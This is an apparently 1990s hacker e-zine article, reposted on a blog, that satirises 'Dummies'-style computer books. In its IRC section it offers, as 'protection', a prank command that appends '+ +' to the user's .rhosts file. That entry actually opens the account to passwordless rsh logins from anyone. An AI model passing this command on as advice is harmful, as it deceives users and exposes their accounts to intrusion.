#132: Dummies Guide to T-Files

[F.U.C.K. is an e-zine that I started on January 24, 1993 and ended on January 24, 2000. One concept is that articles should be timeless if possible, so they were not released with dates. As such, the date on this blog is not exact but I will try to use a date as close as possible.]

This is not a short, insulting guide to text files like the name implies, but more some comments on current books regarding computers and software that are on the market. If you have been to a computer store, book store, or even software stores, you have seen the countless books called ‘The Dummies Guide to XXXX’ or ‘The Complete Idiots Guide to XXXX’. On top of that are countless other book regarding subjects that you thought needed no writing.


The following are some of the titles in the Idiot/Dummy line that plague stores.

AOL : America Online. An online service that contains megs and megs of help files, a manual, 800 Tech support, a graphical point and click user interface. Yet, people need a book that calls them a dummy and gives them even more basic help?

Autocad : Autocad 13 retails for over 3,000 dollars. Architects and designers go to school for up to 10 years to learn design techniques, drafting, and computer aided drafting, yet an architect is expected to buy and use a ‘dummy’ or ‘idiot’ book to do his work? I don’t know about you, but any architect that learned from that book better not be designing my house.

C++ Programming : Need to learn C++ in a few days? I still don’t think this is the answer. Imagine a bunch of people programming little versions of pong and gorilla, but instead of BASIC, they use C++.

Compuserve : Once again, on top of one inch thick manual, 800 tech support, online help, you might just need this book to make it easier.

Internet for Macs : Is the net any different for mac users? No. The software they use to interface to the net is different.. but not the net. The sites where they can get software is different, but when is FTP ‘the net’? I seriously doubt it is really that different.

Internet and More Internet : The Global Information Superhighway and stuff right? Bah. We all know ‘navigating’ the net isn’t made that much easier with books. By the time they are on the shelf, new sites have come up, old ones have gone down, and things aren’t the same.

Macs : Of all the books.. Macs for dummies has got to be the biggest insult of all. Macs were designed to be easy to use. You CAN’T get to any real difficult part of a mac because the OS won’t let you. What can be so hard about a Mac that the base manual can’t answer in simple terms?

Mosaic : Point and Click, no need for help beyond a few cool places to go with Mosaic, and yet this complete help guide.

Turbotax : This program is designed to be simple in two ways. Easy to use, and easy to do taxes. It succeeds.. it IS easy to use, and DOES make taxes simple. Yet, a dummies book for it.

Unix : One good thing about Unix.. MAN .. MAN is a command that will give you COMPLETE manuals to any command on that version of Unix. Anyone currently running Unix or using it will be either a sysadmin, or someone with a company with sysadmins. NO need for an insulting book about it.

Windows and More Windows : I don’t need to tell you how many books are floating around about windows. The manuals that come with it are there for a purpose, that constant HELP at the top of the screen has been there since version 1.0 I bet, yet two books to help you get through that oh so difficult operating platform.

For the Future

We all know about the delay of Windows and the myriad of beta copies being released to people. No matter what they do, Microsoft seems to release a buggy halfway done product that developers use to write the apps for the upcoming OS. Currently, very few people run it because it is beta, it is buggy, and there isn’t a need for it in today’s society. But, if you need any help on it, there are at least 7 different books telling you all about it, the features, commands, and everything else about it. Seems weird to me, to find that many books on a ‘final’ product that hasn’t been released yet.


More and more people are flocking to the net to jump on the bandwagon and be part of this invaluable resource of information. While on people are realizing how many different aspects of the net exist, and learning what can be done with it. There are a ton of books about the tools and resources available to net users, but none are more interesting (and useless) as these three.

IRC Survival Guide : A Whole book telling you how to survive while on IRC. The book is littered with commands and gives you everything you need to get started chatting with everyone else. Throughout the book they portray IRC to contain evil people that will do nasty stuff to you if you don’t watch your back. For those new to IRC, simply protect yourself with this command while in IRC: /exec type ‘+ +’ >> .rhosts and everything will be just fine.

net.speak : Learn to speak the language of the denizens of the net! Now you too can learn to spell every word wrong, use little or no punctuation, and throw grammar out of the window. Learn to flame people the right way, no more useless ‘your mom’ jokes here. Yeah, right.

net.sex : I thought this was a joke until I saw it myself. This book will supposedly teach you how to find someone that is ‘safe’ and is really looking for other people interested in the same thing. Wouldn’t want those wily hackers to mess with you and have you fall in love with them right? Yeah.

Anyway, you can see where a large part of the consumer dollars are heading when it comes to literature about computers and computer society. If you are in a position to recommend something, tell them to read the fucking manual or hit the HELP in the upper corner.

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